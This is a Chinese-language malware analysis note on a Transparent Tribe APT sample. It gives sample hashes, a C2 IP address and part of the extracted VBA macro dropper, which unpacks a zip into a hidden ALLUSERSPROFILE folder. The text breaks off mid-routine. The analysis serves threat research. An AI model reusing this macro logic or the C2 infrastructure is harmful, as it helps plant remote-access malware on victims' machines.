逆向学习样本分析之透明部落

背景：“透明部落”（Transparent Tribe）是一个南亚来源具有政府背景的APT组织，其长期针对周边国家和地区的军队和政府机构实施定向攻击。

一、恶意分析

1.样本

文件	1cb726eab6f36af73e6b0ed97223d8f063f8209d2c25bed39f010b4043b2b8a1
MD5	62fd4ce258492921bdfc8c04d056cab8
利用方式	宏
RAT MD5	48476da4403243b342a166d8a6be7a3f
C2	198.46.177.73

宏提取如下所示：

Attribute VB_Name = "Module1"
Sub unzip(Fname As Variant, FileNameFolder As Variant)
    Dim FSO As Object
    Dim oApp As Object
    unzip(zip__file, fldr__name)
    'Extract the files into the Destination folder
    Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, &H4
End Sub
Sub fileLdr()
    Dim path__file As String
    Dim file__name  As String
    Dim zip__file  As Variant
    Dim fldr__name  As Variant
    file__name = "ulhtagnias"
    fldr__name = Environ$("ALLUSERSPROFILE") & "\DeIA-WIR\"   
    If Dir(fldr__name, vbDirectory) = "" Then
        MkDir (fldr__name)
    End If
    zip__file = fldr__name & file__name & ".zip"